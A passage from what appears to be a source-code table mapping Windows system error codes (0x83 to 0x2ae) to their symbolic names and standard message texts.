0x00000083: ("ERROR_NEGATIVE_SEEK", "An attempt was made to move the file pointer before the beginning of the file."),
0x00000084: ("ERROR_SEEK_ON_DEVICE", "The file pointer cannot be set on the specified device or file."),
0x00000085: ("ERROR_IS_JOIN_TARGET", "A JOIN or SUBST command cannot be used for a drive that contains previously joined drives."),
0x00000086: ("ERROR_IS_JOINED", "An attempt was made to use a JOIN or SUBST command on a drive that has already been joined."),
0x00000087: ("ERROR_IS_SUBSTED", "An attempt was made to use a JOIN or SUBST command on a drive that has already been substituted."),
0x00000088: ("ERROR_NOT_JOINED", "The system tried to delete the JOIN of a drive that is not joined."),
0x00000089: ("ERROR_NOT_SUBSTED", "The system tried to delete the substitution of a drive that is not substituted."),
0x0000008a: ("ERROR_JOIN_TO_JOIN", "The system tried to join a drive to a directory on a joined drive."),
0x0000008b: ("ERROR_SUBST_TO_SUBST", "The system tried to substitute a drive to a directory on a substituted drive."),
0x0000008c: ("ERROR_JOIN_TO_SUBST", "The system tried to join a drive to a directory on a substituted drive."),
0x0000008d: ("ERROR_SUBST_TO_JOIN", "The system tried to SUBST a drive to a directory on a joined drive."),
0x0000008e: ("ERROR_BUSY_DRIVE", "The system cannot perform a JOIN or SUBST at this time."),
0x0000008f: ("ERROR_SAME_DRIVE", "The system cannot join or substitute a drive to or for a directory on the same drive."),
0x00000090: ("ERROR_DIR_NOT_ROOT", "The directory is not a subdirectory of the root directory."),
0x00000091: ("ERROR_DIR_NOT_EMPTY", "The directory is not empty."),
0x00000092: ("ERROR_IS_SUBST_PATH", "The path specified is being used in a substitute."),
0x00000093: ("ERROR_IS_JOIN_PATH", "Not enough resources are available to process this command."),
0x00000094: ("ERROR_PATH_BUSY", "The path specified cannot be used at this time."),
0x00000095: ("ERROR_IS_SUBST_TARGET", "An attempt was made to join or substitute a drive for which a directory on the drive is the target of a previous substitute."),
0x00000096: ("ERROR_SYSTEM_TRACE", "System trace information was not specified in your CONFIG.SYS file, or tracing is disallowed."),
0x00000097: ("ERROR_INVALID_EVENT_COUNT", "The number of specified semaphore events for DosMuxSemWait is not correct."),
0x00000098: ("ERROR_TOO_MANY_MUXWAITERS", "DosMuxSemWait did not execute; too many semaphores are already set."),
0x00000099: ("ERROR_INVALID_LIST_FORMAT", "The DosMuxSemWait list is not correct."),
0x0000009a: ("ERROR_LABEL_TOO_LONG", "The volume label you entered exceeds the label character limit of the target file system."),
0x0000009b: ("ERROR_TOO_MANY_TCBS", "Cannot create another thread."),
0x0000009c: ("ERROR_SIGNAL_REFUSED", "The recipient process has refused the signal."),
0x0000009d: ("ERROR_DISCARDED", "The segment is already discarded and cannot be locked."),
0x0000009e: ("ERROR_NOT_LOCKED", "The segment is already unlocked."),
0x0000009f: ("ERROR_BAD_THREADID_ADDR", "The address for the thread ID is not correct."),
0x000000a0: ("ERROR_BAD_ARGUMENTS", "One or more arguments are not correct."),
0x000000a1: ("ERROR_BAD_PATHNAME", "The specified path is invalid."),
0x000000a2: ("ERROR_SIGNAL_PENDING", "A signal is already pending."),
0x000000a4: ("ERROR_MAX_THRDS_REACHED", "No more threads can be created in the system."),
0x000000a7: ("ERROR_LOCK_FAILED", "Unable to lock a region of a file."),
0x000000aa: ("ERROR_BUSY", "The requested resource is in use."),
0x000000ab: ("ERROR_DEVICE_SUPPORT_IN_PROGRESS", "Device's command support detection is in progress."),
0x000000ad: ("ERROR_CANCEL_VIOLATION", "A lock request was not outstanding for the supplied cancel region."),
0x000000ae: ("ERROR_ATOMIC_LOCKS_NOT_SUPPORTED", "The file system does not support atomic changes to the lock type."),
0x000000b4: ("ERROR_INVALID_SEGMENT_NUMBER", "The system detected a segment number that was not correct."),
0x000000b6: ("ERROR_INVALID_ORDINAL", "The operating system cannot run %1."),
0x000000b7: ("ERROR_ALREADY_EXISTS", "Cannot create a file when that file already exists."),
0x000000ba: ("ERROR_INVALID_FLAG_NUMBER", "The flag passed is not correct."),
0x000000bb: ("ERROR_SEM_NOT_FOUND", "The specified system semaphore name was not found."),
0x000000bc: ("ERROR_INVALID_STARTING_CODESEG", "The operating system cannot run %1."),
0x000000bd: ("ERROR_INVALID_STACKSEG", "The operating system cannot run %1."),
0x000000be: ("ERROR_INVALID_MODULETYPE", "The operating system cannot run %1."),
0x000000bf: ("ERROR_INVALID_EXE_SIGNATURE", "Cannot run %1 in Win32 mode."),
0x000000c0: ("ERROR_EXE_MARKED_INVALID", "The operating system cannot run %1."),
0x000000c1: ("ERROR_BAD_EXE_FORMAT", "%1 is not a valid Win32 application."),
0x000000c2: ("ERROR_ITERATED_DATA_EXCEEDS_64k", "The operating system cannot run %1."),
0x000000c3: ("ERROR_INVALID_MINALLOCSIZE", "The operating system cannot run %1."),
0x000000c4: ("ERROR_DYNLINK_FROM_INVALID_RING", "The operating system cannot run this application program."),
0x000000c5: ("ERROR_IOPL_NOT_ENABLED", "The operating system is not presently configured to run this application."),
0x000000c6: ("ERROR_INVALID_SEGDPL", "The operating system cannot run %1."),
0x000000c7: ("ERROR_AUTODATASEG_EXCEEDS_64k", "The operating system cannot run this application program."),
0x000000c8: ("ERROR_RING2SEG_MUST_BE_MOVABLE", "The code segment cannot be greater than or equal to 64K."),
0x000000c9: ("ERROR_RELOC_CHAIN_XEEDS_SEGLIM", "The operating system cannot run %1."),
0x000000ca: ("ERROR_INFLOOP_IN_RELOC_CHAIN", "The operating system cannot run %1."),
0x000000cb: ("ERROR_ENVVAR_NOT_FOUND", "The system could not find the environment option that was entered."),
0x000000cd: ("ERROR_NO_SIGNAL_SENT", "No process in the command subtree has a signal handler."),
0x000000ce: ("ERROR_FILENAME_EXCED_RANGE", "The filename or extension is too long."),
0x000000cf: ("ERROR_RING2_STACK_IN_USE", "The ring 2 stack is in use."),
0x000000d0: ("ERROR_META_EXPANSION_TOO_LONG", "The global filename characters, * or ?, are entered incorrectly or too many global filename characters are specified."),
0x000000d1: ("ERROR_INVALID_SIGNAL_NUMBER", "The signal being posted is not correct."),
0x000000d2: ("ERROR_THREAD_1_INACTIVE", "The signal handler cannot be set."),
0x000000d4: ("ERROR_LOCKED", "The segment is locked and cannot be reallocated."),
0x000000d6: ("ERROR_TOO_MANY_MODULES", "Too many dynamic-link modules are attached to this program or dynamic-link module."),
0x000000d7: ("ERROR_NESTING_NOT_ALLOWED", "Cannot nest calls to LoadModule."),
0x000000d8: ("ERROR_EXE_MACHINE_TYPE_MISMATCH", "This version of %1 is not compatible with the version of Windows you're running. Check your computer's system information and then contact the software publisher."),
0x000000d9: ("ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY", "The image file %1 is signed, unable to modify."),
0x000000da: ("ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY", "The image file %1 is strong signed, unable to modify."),
0x000000dc: ("ERROR_FILE_CHECKED_OUT", "This file is checked out or locked for editing by another user."),
0x000000dd: ("ERROR_CHECKOUT_REQUIRED", "The file must be checked out before saving changes."),
0x000000de: ("ERROR_BAD_FILE_TYPE", "The file type being saved or retrieved has been blocked."),
0x000000df: ("ERROR_FILE_TOO_LARGE", "The file size exceeds the limit allowed and cannot be saved."),
0x000000e0: ("ERROR_FORMS_AUTH_REQUIRED", "Access Denied. Before opening files in this location, you must first add the web site to your trusted sites list, browse to the web site, and select the option to login automatically."),
0x000000e1: ("ERROR_VIRUS_INFECTED", "Operation did not complete successfully because the file contains a virus or potentially unwanted software."),
0x000000e2: ("ERROR_VIRUS_DELETED", "This file contains a virus or potentially unwanted software and cannot be opened. Due to the nature of this virus or potentially unwanted software, the file has been removed from this location."),
0x000000e5: ("ERROR_PIPE_LOCAL", "The pipe is local."),
0x000000e6: ("ERROR_BAD_PIPE", "The pipe state is invalid."),
0x000000e7: ("ERROR_PIPE_BUSY", "All pipe instances are busy."),
0x000000e8: ("ERROR_NO_DATA", "The pipe is being closed."),
0x000000e9: ("ERROR_PIPE_NOT_CONNECTED", "No process is on the other end of the pipe."),
0x000000ea: ("ERROR_MORE_DATA", "More data is available."),
0x000000f0: ("ERROR_VC_DISCONNECTED", "The session was canceled."),
0x000000fe: ("ERROR_INVALID_EA_NAME", "The specified extended attribute name was invalid."),
0x000000ff: ("ERROR_EA_LIST_INCONSISTENT", "The extended attributes are inconsistent."),
0x00000102: ("WAIT_TIMEOUT", "The wait operation timed out."),
0x00000103: ("ERROR_NO_MORE_ITEMS", "No more data is available."),
0x0000010a: ("ERROR_CANNOT_COPY", "The copy functions cannot be used."),
0x0000010b: ("ERROR_DIRECTORY", "The directory name is invalid."),
0x00000113: ("ERROR_EAS_DIDNT_FIT", "The extended attributes did not fit in the buffer."),
0x00000114: ("ERROR_EA_FILE_CORRUPT", "The extended attribute file on the mounted file system is corrupt."),
0x00000115: ("ERROR_EA_TABLE_FULL", "The extended attribute table file is full."),
0x00000116: ("ERROR_INVALID_EA_HANDLE", "The specified extended attribute handle is invalid."),
0x0000011a: ("ERROR_EAS_NOT_SUPPORTED", "The mounted file system does not support extended attributes."),
0x00000120: ("ERROR_NOT_OWNER", "Attempt to release mutex not owned by caller."),
0x0000012a: ("ERROR_TOO_MANY_POSTS", "Too many posts were made to a semaphore."),
0x0000012b: ("ERROR_PARTIAL_COPY", "Only part of a ReadProcessMemory or WriteProcessMemory request was completed."),
0x0000012c: ("ERROR_OPLOCK_NOT_GRANTED", "The oplock request is denied."),
0x0000012d: ("ERROR_INVALID_OPLOCK_PROTOCOL", "An invalid oplock acknowledgment was received by the system."),
0x0000012e: ("ERROR_DISK_TOO_FRAGMENTED", "The volume is too fragmented to complete this operation."),
0x0000012f: ("ERROR_DELETE_PENDING", "The file cannot be opened because it is in the process of being deleted."),
0x00000130: ("ERROR_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING", "Short name settings may not be changed on this volume due to the global registry setting."),
0x00000131: ("ERROR_SHORT_NAMES_NOT_ENABLED_ON_VOLUME", "Short names are not enabled on this volume."),
0x00000132: ("ERROR_SECURITY_STREAM_IS_INCONSISTENT", "The security stream for the given volume is in an inconsistent state."),
0x00000133: ("ERROR_INVALID_LOCK_RANGE", "A requested file lock operation cannot be processed due to an invalid byte range."),
0x00000134: ("ERROR_IMAGE_SUBSYSTEM_NOT_PRESENT", "The subsystem needed to support the image type is not present."),
0x00000135: ("ERROR_NOTIFICATION_GUID_ALREADY_DEFINED", "The specified file already has a notification GUID associated with it."),
0x00000136: ("ERROR_INVALID_EXCEPTION_HANDLER", "An invalid exception handler routine has been detected."),
0x00000137: ("ERROR_DUPLICATE_PRIVILEGES", "Duplicate privileges were specified for the token."),
0x00000138: ("ERROR_NO_RANGES_PROCESSED", "No ranges for the specified operation were able to be processed."),
0x00000139: ("ERROR_NOT_ALLOWED_ON_SYSTEM_FILE", "Operation is not allowed on a file system internal file."),
0x0000013a: ("ERROR_DISK_RESOURCES_EXHAUSTED", "The physical resources of this disk have been exhausted."),
0x0000013b: ("ERROR_INVALID_TOKEN", "The token representing the data is invalid."),
0x0000013c: ("ERROR_DEVICE_FEATURE_NOT_SUPPORTED", "The device does not support the command feature."),
0x0000013d: ("ERROR_MR_MID_NOT_FOUND", "The system cannot find message text for message number 0x%1 in the message file for %2."),
0x0000013e: ("ERROR_SCOPE_NOT_FOUND", "The scope specified was not found."),
0x0000013f: ("ERROR_UNDEFINED_SCOPE", "The Central Access Policy specified is not defined on the target machine."),
0x00000140: ("ERROR_INVALID_CAP", "The Central Access Policy obtained from Active Directory is invalid."),
0x00000141: ("ERROR_DEVICE_UNREACHABLE", "The device is unreachable."),
0x00000142: ("ERROR_DEVICE_NO_RESOURCES", "The target device has insufficient resources to complete the operation."),
0x00000143: ("ERROR_DATA_CHECKSUM_ERROR", "A data integrity checksum error occurred. Data in the file stream is corrupt."),
0x00000144: ("ERROR_INTERMIXED_KERNEL_EA_OPERATION", "An attempt was made to modify both a KERNEL and normal Extended Attribute (EA) in the same operation."),
0x00000146: ("ERROR_FILE_LEVEL_TRIM_NOT_SUPPORTED", "Device does not support file-level TRIM."),
0x00000147: ("ERROR_OFFSET_ALIGNMENT_VIOLATION", "The command specified a data offset that does not align to the device's granularity/alignment."),
0x00000148: ("ERROR_INVALID_FIELD_IN_PARAMETER_LIST", "The command specified an invalid field in its parameter list."),
0x00000149: ("ERROR_OPERATION_IN_PROGRESS", "An operation is currently in progress with the device."),
0x0000014a: ("ERROR_BAD_DEVICE_PATH", "An attempt was made to send down the command via an invalid path to the target device."),
0x0000014b: ("ERROR_TOO_MANY_DESCRIPTORS", "The command specified a number of descriptors that exceeded the maximum supported by the device."),
0x0000014c: ("ERROR_SCRUB_DATA_DISABLED", "Scrub is disabled on the specified file."),
0x0000014d: ("ERROR_NOT_REDUNDANT_STORAGE", "The storage device does not provide redundancy."),
0x0000014e: ("ERROR_RESIDENT_FILE_NOT_SUPPORTED", "An operation is not supported on a resident file."),
0x0000014f: ("ERROR_COMPRESSED_FILE_NOT_SUPPORTED", "An operation is not supported on a compressed file."),
0x00000150: ("ERROR_DIRECTORY_NOT_SUPPORTED", "An operation is not supported on a directory."),
0x00000151: ("ERROR_NOT_READ_FROM_COPY", "The specified copy of the requested data could not be read."),
0x00000152: ("ERROR_FT_WRITE_FAILURE", "The specified data could not be written to any of the copies."),
0x00000153: ("ERROR_FT_DI_SCAN_REQUIRED", "One or more copies of data on this device may be out of sync. No writes may be performed until a data integrity scan is completed."),
0x00000154: ("ERROR_INVALID_KERNEL_INFO_VERSION", "The supplied kernel information version is invalid."),
0x00000155: ("ERROR_INVALID_PEP_INFO_VERSION", "The supplied PEP information version is invalid."),
0x0000015e: ("ERROR_FAIL_NOACTION_REBOOT", "No action was taken as a system reboot is required."),
0x0000015f: ("ERROR_FAIL_SHUTDOWN", "The shutdown operation failed."),
0x00000160: ("ERROR_FAIL_RESTART", "The restart operation failed."),
0x00000161: ("ERROR_MAX_SESSIONS_REACHED", "The maximum number of sessions has been reached."),
0x00000190: ("ERROR_THREAD_MODE_ALREADY_BACKGROUND", "The thread is already in background processing mode."),
0x00000191: ("ERROR_THREAD_MODE_NOT_BACKGROUND", "The thread is not in background processing mode."),
0x00000192: ("ERROR_PROCESS_MODE_ALREADY_BACKGROUND", "The process is already in background processing mode."),
0x00000193: ("ERROR_PROCESS_MODE_NOT_BACKGROUND", "The process is not in background processing mode."),
0x000001e7: ("ERROR_INVALID_ADDRESS", "Attempt to access invalid address."),
0x000001f4: ("ERROR_USER_PROFILE_LOAD", "User profile cannot be loaded."),
0x00000216: ("ERROR_ARITHMETIC_OVERFLOW", "Arithmetic result exceeded 32 bits."),
0x00000217: ("ERROR_PIPE_CONNECTED", "There is a process on other end of the pipe."),
0x00000218: ("ERROR_PIPE_LISTENING", "Waiting for a process to open the other end of the pipe."),
0x00000219: ("ERROR_VERIFIER_STOP", "Application verifier has found an error in the current process."),
0x0000021a: ("ERROR_ABIOS_ERROR", "An error occurred in the ABIOS subsystem."),
0x0000021b: ("ERROR_WX86_WARNING", "A warning occurred in the WX86 subsystem."),
0x0000021c: ("ERROR_WX86_ERROR", "An error occurred in the WX86 subsystem."),
0x0000021d: ("ERROR_TIMER_NOT_CANCELED", "An attempt was made to cancel or set a timer that has an associated APC and the subject thread is not the thread that originally set the timer with an associated APC routine."),
0x0000021e: ("ERROR_UNWIND", "Unwind exception code."),
0x0000021f: ("ERROR_BAD_STACK", "An invalid or unaligned stack was encountered during an unwind operation."),
0x00000220: ("ERROR_INVALID_UNWIND_TARGET", "An invalid unwind target was encountered during an unwind operation."),
0x00000221: ("ERROR_INVALID_PORT_ATTRIBUTES", "Invalid Object Attributes specified to NtCreatePort or invalid Port Attributes specified to NtConnectPort"),
0x00000222: ("ERROR_PORT_MESSAGE_TOO_LONG", "Length of message passed to NtRequestPort or NtRequestWaitReplyPort was longer than the maximum message allowed by the port."),
0x00000223: ("ERROR_INVALID_QUOTA_LOWER", "An attempt was made to lower a quota limit below the current usage."),
0x00000224: ("ERROR_DEVICE_ALREADY_ATTACHED", "An attempt was made to attach to a device that was already attached to another device."),
0x00000225: ("ERROR_INSTRUCTION_MISALIGNMENT", "An attempt was made to execute an instruction at an unaligned address and the host system does not support unaligned instruction references."),
0x00000226: ("ERROR_PROFILING_NOT_STARTED", "Profiling not started."),
0x00000227: ("ERROR_PROFILING_NOT_STOPPED", "Profiling not stopped."),
0x00000228: ("ERROR_COULD_NOT_INTERPRET", "The passed ACL did not contain the minimum required information."),
0x00000229: ("ERROR_PROFILING_AT_LIMIT", "The number of active profiling objects is at the maximum and no more may be started."),
0x0000022a: ("ERROR_CANT_WAIT", "Used to indicate that an operation cannot continue without blocking for I/O."),
0x0000022b: ("ERROR_CANT_TERMINATE_SELF", "Indicates that a thread attempted to terminate itself by default (called NtTerminateThread with NULL) and it was the last thread in the current process."),
0x0000022c: ("ERROR_UNEXPECTED_MM_CREATE_ERR", "If an MM error is returned which is not defined in the standard FsRtl filter, it is converted to one of the following errors which is guaranteed to be in the filter."),
0x0000022d: ("ERROR_UNEXPECTED_MM_MAP_ERROR", "If an MM error is returned which is not defined in the standard FsRtl filter, it is converted to one of the following errors which is guaranteed to be in the filter."),
0x0000022e: ("ERROR_UNEXPECTED_MM_EXTEND_ERR", "If an MM error is returned which is not defined in the standard FsRtl filter, it is converted to one of the following errors which is guaranteed to be in the filter."),
0x0000022f: ("ERROR_BAD_FUNCTION_TABLE", "A malformed function table was encountered during an unwind operation."),
0x00000230: ("ERROR_NO_GUID_TRANSLATION", "Indicates that an attempt was made to assign protection to a file system file or directory and one of the SIDs in the security descriptor could not be translated into a GUID that could be stored by the file system."),
0x00000231: ("ERROR_INVALID_LDT_SIZE", "Indicates that an attempt was made to grow an LDT by setting its size, or that the size was not an even number of selectors."),
0x00000233: ("ERROR_INVALID_LDT_OFFSET", "Indicates that the starting value for the LDT information was not an integral multiple of the selector size."),
0x00000234: ("ERROR_INVALID_LDT_DESCRIPTOR", "Indicates that the user supplied an invalid descriptor when trying to set up Ldt descriptors."),
0x00000235: ("ERROR_TOO_MANY_THREADS", "Indicates a process has too many threads to perform the requested action. For example, assignment of a primary token may only be performed when a process has zero or one threads."),
0x00000236: ("ERROR_THREAD_NOT_IN_PROCESS", "An attempt was made to operate on a thread within a specific process, but the thread specified is not in the process specified."),
0x00000237: ("ERROR_PAGEFILE_QUOTA_EXCEEDED", "Page file quota was exceeded."),
0x00000238: ("ERROR_LOGON_SERVER_CONFLICT", "The Netlogon service cannot start because another Netlogon service running in the domain conflicts with the specified role."),
0x00000239: ("ERROR_SYNCHRONIZATION_REQUIRED", "The SAM database on a Windows Server is significantly out of synchronization with the copy on the Domain Controller. A complete synchronization is required."),
0x0000023a: ("ERROR_NET_OPEN_FAILED", "The NtCreateFile API failed. This error should never be returned to an application, it is a place holder for the Windows Lan Manager Redirector to use in its internal error mapping routines."),
0x0000023b: ("ERROR_IO_PRIVILEGE_FAILED", "{Privilege Failed}"),
0x0000023c: ("ERROR_CONTROL_C_EXIT", "{Application Exit by CTRL+C}"),
0x0000023d: ("ERROR_MISSING_SYSTEMFILE", "{Missing System File}"),
0x0000023e: ("ERROR_UNHANDLED_EXCEPTION", "{Application Error}"),
0x0000023f: ("ERROR_APP_INIT_FAILURE", "{Application Error}"),
0x00000240: ("ERROR_PAGEFILE_CREATE_FAILED", "{Unable to Create Paging File}"),
0x00000241: ("ERROR_INVALID_IMAGE_HASH", "Windows cannot verify the digital signature for this file. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source."),
0x00000242: ("ERROR_NO_PAGEFILE", "{No Paging File Specified}"),
0x00000243: ("ERROR_ILLEGAL_FLOAT_CONTEXT", "{EXCEPTION}"),
0x00000244: ("ERROR_NO_EVENT_PAIR", "An event pair synchronization operation was performed using the thread specific client/server event pair object, but no event pair object was associated with the thread."),
0x00000245: ("ERROR_DOMAIN_CTRLR_CONFIG_ERROR", "A Windows Server has an incorrect configuration."),
0x00000246: ("ERROR_ILLEGAL_CHARACTER", "An illegal character was encountered. For a multi-byte character set this includes a lead byte without a succeeding trail byte. For the Unicode character set this includes the characters 0xFFFF and 0xFFFE."),
0x00000247: ("ERROR_UNDEFINED_CHARACTER", "The Unicode character is not defined in the Unicode character set installed on the system."),
0x00000248: ("ERROR_FLOPPY_VOLUME", "The paging file cannot be created on a floppy diskette."),
0x00000249: ("ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT", "The system BIOS failed to connect a system interrupt to the device or bus for which the device is connected."),
0x0000024a: ("ERROR_BACKUP_CONTROLLER", "This operation is only allowed for the Primary Domain Controller of the domain."),
0x0000024b: ("ERROR_MUTANT_LIMIT_EXCEEDED", "An attempt was made to acquire a mutant such that its maximum count would have been exceeded."),
0x0000024c: ("ERROR_FS_DRIVER_REQUIRED", "A volume has been accessed for which a file system driver is required that has not yet been loaded."),
0x0000024d: ("ERROR_CANNOT_LOAD_REGISTRY_FILE", "{Registry File Failure}"),
0x0000024e: ("ERROR_DEBUG_ATTACH_FAILED", "{Unexpected Failure in DebugActiveProcess}"),
0x0000024f: ("ERROR_SYSTEM_PROCESS_TERMINATED", "{Fatal System Error}"),
0x00000250: ("ERROR_DATA_NOT_ACCEPTED", "{Data Not Accepted}"),
0x00000251: ("ERROR_VDM_HARD_ERROR", "NTVDM encountered a hard error."),
0x00000252: ("ERROR_DRIVER_CANCEL_TIMEOUT", "{Cancel Timeout}"),
0x00000253: ("ERROR_REPLY_MESSAGE_MISMATCH", "{Reply Message Mismatch}"),
0x00000254: ("ERROR_LOST_WRITEBEHIND_DATA", "{Delayed Write Failed}"),
0x00000255: ("ERROR_CLIENT_SERVER_PARAMETERS_INVALID", "The parameter(s) passed to the server in the client/server shared memory window were invalid. Too much data may have been put in the shared memory window."),
0x00000256: ("ERROR_NOT_TINY_STREAM", "The stream is not a tiny stream."),
0x00000257: ("ERROR_STACK_OVERFLOW_READ", "The request must be handled by the stack overflow code."),
0x00000258: ("ERROR_CONVERT_TO_LARGE", "Internal OFS status codes indicating how an allocation operation is handled. Either it is retried after the containing onode is moved or the extent stream is converted to a large stream."),
0x00000259: ("ERROR_FOUND_OUT_OF_SCOPE", "The attempt to find the object found an object matching by ID on the volume but it is out of the scope of the handle used for the operation."),
0x0000025a: ("ERROR_ALLOCATE_BUCKET", "The bucket array must be grown. Retry transaction after doing so."),
0x0000025b: ("ERROR_MARSHALL_OVERFLOW", "The user/kernel marshalling buffer has overflowed."),
0x0000025c: ("ERROR_INVALID_VARIANT", "The supplied variant structure contains invalid data."),
0x0000025d: ("ERROR_BAD_COMPRESSION_BUFFER", "The specified buffer contains ill-formed data."),
0x0000025e: ("ERROR_AUDIT_FAILED", "{Audit Failed}"),
0x0000025f: ("ERROR_TIMER_RESOLUTION_NOT_SET", "The timer resolution was not previously set by the current process."),
0x00000260: ("ERROR_INSUFFICIENT_LOGON_INFO", "There is insufficient account information to log you on."),
0x00000261: ("ERROR_BAD_DLL_ENTRYPOINT", "{Invalid DLL Entrypoint}"),
0x00000262: ("ERROR_BAD_SERVICE_ENTRYPOINT", "{Invalid Service Callback Entrypoint}"),
0x00000263: ("ERROR_IP_ADDRESS_CONFLICT1", "There is an IP address conflict with another system on the network"),
0x00000264: ("ERROR_IP_ADDRESS_CONFLICT2", "There is an IP address conflict with another system on the network"),
0x00000265: ("ERROR_REGISTRY_QUOTA_LIMIT", "{Low On Registry Space}"),
0x00000266: ("ERROR_NO_CALLBACK_ACTIVE", "A callback return system service cannot be executed when no callback is active."),
0x00000267: ("ERROR_PWD_TOO_SHORT", "The password provided is too short to meet the policy of your user account."),
0x00000268: ("ERROR_PWD_TOO_RECENT", "The policy of your user account does not allow you to change passwords too frequently."),
0x00000269: ("ERROR_PWD_HISTORY_CONFLICT", "You have attempted to change your password to one that you have used in the past."),
0x0000026a: ("ERROR_UNSUPPORTED_COMPRESSION", "The specified compression format is unsupported."),
0x0000026b: ("ERROR_INVALID_HW_PROFILE", "The specified hardware profile configuration is invalid."),
0x0000026c: ("ERROR_INVALID_PLUGPLAY_DEVICE_PATH", "The specified Plug and Play registry device path is invalid."),
0x0000026d: ("ERROR_QUOTA_LIST_INCONSISTENT", "The specified quota list is internally inconsistent with its descriptor."),
0x0000026e: ("ERROR_EVALUATION_EXPIRATION", "{Windows Evaluation Notification}"),
0x0000026f: ("ERROR_ILLEGAL_DLL_RELOCATION", "{Illegal System DLL Relocation}"),
0x00000270: ("ERROR_DLL_INIT_FAILED_LOGOFF", "{DLL Initialization Failed}"),
0x00000271: ("ERROR_VALIDATE_CONTINUE", "The validation process needs to continue on to the next step."),
0x00000272: ("ERROR_NO_MORE_MATCHES", "There are no more matches for the current index enumeration."),
0x00000273: ("ERROR_RANGE_LIST_CONFLICT", "The range could not be added to the range list because of a conflict."),
0x00000274: ("ERROR_SERVER_SID_MISMATCH", "The server process is running under a SID different than that required by client."),
0x00000275: ("ERROR_CANT_ENABLE_DENY_ONLY", "A group marked use for deny only cannot be enabled."),
0x00000276: ("ERROR_FLOAT_MULTIPLE_FAULTS", "{EXCEPTION}"),
0x00000277: ("ERROR_FLOAT_MULTIPLE_TRAPS", "{EXCEPTION}"),
0x00000278: ("ERROR_NOINTERFACE", "The requested interface is not supported."),
0x00000279: ("ERROR_DRIVER_FAILED_SLEEP", "{System Standby Failed}"),
0x0000027a: ("ERROR_CORRUPT_SYSTEM_FILE", "The system file %1 has become corrupt and has been replaced."),
0x0000027b: ("ERROR_COMMITMENT_MINIMUM", "{Virtual Memory Minimum Too Low}"),
0x0000027c: ("ERROR_PNP_RESTART_ENUMERATION", "A device was removed so enumeration must be restarted."),
0x0000027d: ("ERROR_SYSTEM_IMAGE_BAD_SIGNATURE", "{Fatal System Error}"),
0x0000027e: ("ERROR_PNP_REBOOT_REQUIRED", "Device will not start without a reboot."),
0x0000027f: ("ERROR_INSUFFICIENT_POWER", "There is not enough power to complete the requested operation."),
0x00000280: ("ERROR_MULTIPLE_FAULT_VIOLATION", " ERROR_MULTIPLE_FAULT_VIOLATION"),
0x00000281: ("ERROR_SYSTEM_SHUTDOWN", "The system is in the process of shutting down."),
0x00000282: ("ERROR_PORT_NOT_SET", "An attempt to remove a processes DebugPort was made, but a port was not already associated with the process."),
0x00000283: ("ERROR_DS_VERSION_CHECK_FAILURE", "This version of Windows is not compatible with the behavior version of directory forest, domain or domain controller."),
0x00000284: ("ERROR_RANGE_NOT_FOUND", "The specified range could not be found in the range list."),
0x00000286: ("ERROR_NOT_SAFE_MODE_DRIVER", "The driver was not loaded because the system is booting into safe mode."),
0x00000287: ("ERROR_FAILED_DRIVER_ENTRY", "The driver was not loaded because it failed its initialization call."),
0x00000288: ("ERROR_DEVICE_ENUMERATION_ERROR", "The '%hs' encountered an error while applying power or reading the device configuration."),
0x00000289: ("ERROR_MOUNT_POINT_NOT_RESOLVED", "The create operation failed because the name contained at least one mount point which resolves to a volume to which the specified device object is not attached."),
0x0000028a: ("ERROR_INVALID_DEVICE_OBJECT_PARAMETER", "The device object parameter is either not a valid device object or is not attached to the volume specified by the file name."),
0x0000028b: ("ERROR_MCA_OCCURED", "A Machine Check Error has occurred. Please check the system eventlog for additional information."),
0x0000028c: ("ERROR_DRIVER_DATABASE_ERROR", "There was error [%2] processing the driver database."),
0x0000028d: ("ERROR_SYSTEM_HIVE_TOO_LARGE", "System hive size has exceeded its limit."),
0x0000028e: ("ERROR_DRIVER_FAILED_PRIOR_UNLOAD", "The driver could not be loaded because a previous version of the driver is still in memory."),
0x0000028f: ("ERROR_VOLSNAP_PREPARE_HIBERNATE", "{Volume Shadow Copy Service}"),
0x00000290: ("ERROR_HIBERNATION_FAILURE", "The system has failed to hibernate (The error code is %hs). Hibernation will be disabled until the system is restarted."),
0x00000291: ("ERROR_PWD_TOO_LONG", "The password provided is too long to meet the policy of your user account."),
0x00000299: ("ERROR_FILE_SYSTEM_LIMITATION", "The requested operation could not be completed due to a file system limitation"),
0x0000029c: ("ERROR_ASSERTION_FAILURE", "An assertion failure has occurred."),
0x0000029d: ("ERROR_ACPI_ERROR", "An error occurred in the ACPI subsystem."),
0x0000029e: ("ERROR_WOW_ASSERTION", "WOW Assertion Error."),
0x0000029f: ("ERROR_PNP_BAD_MPS_TABLE", "A device is missing in the system BIOS MPS table. This device will not be used."),
0x000002a0: ("ERROR_PNP_TRANSLATION_FAILED", "A translator failed to translate resources."),
0x000002a1: ("ERROR_PNP_IRQ_TRANSLATION_FAILED", "A IRQ translator failed to translate resources."),
0x000002a2: ("ERROR_PNP_INVALID_ID", "Driver %2 returned invalid ID for a child device (%3)."),
0x000002a3: ("ERROR_WAKE_SYSTEM_DEBUGGER", "{Kernel Debugger Awakened}"),
0x000002a4: ("ERROR_HANDLES_CLOSED", "{Handles Closed}"),
0x000002a5: ("ERROR_EXTRANEOUS_INFORMATION", "{Too Much Information}"),
0x000002a6: ("ERROR_RXACT_COMMIT_NECESSARY", "This warning level status indicates that the transaction state already exists for the registry sub-tree, but that a transaction commit was previously aborted."),
0x000002a7: ("ERROR_MEDIA_CHECK", "{Media Changed}"),
0x000002a8: ("ERROR_GUID_SUBSTITUTION_MADE", "{GUID Substitution}"),
0x000002a9: ("ERROR_STOPPED_ON_SYMLINK", "The create operation stopped after reaching a symbolic link"),
0x000002aa: ("ERROR_LONGJUMP", "A long jump has been executed."),
0x000002ab: ("ERROR_PLUGPLAY_QUERY_VETOED", "The Plug and Play query operation was not successful."),
0x000002ac: ("ERROR_UNWIND_CONSOLIDATE", "A frame consolidation has been executed."),
0x000002ad: ("ERROR_REGISTRY_HIVE_RECOVERED", "{Registry Hive Recovered}"),
0x000002ae: ("ERROR_DLL_MIGHT_BE_INSECURE", "The application is attempting to run executable code from the module %hs. This may be insecure. An alternative, %hs, is available. Should the application use the secure module %hs?"),
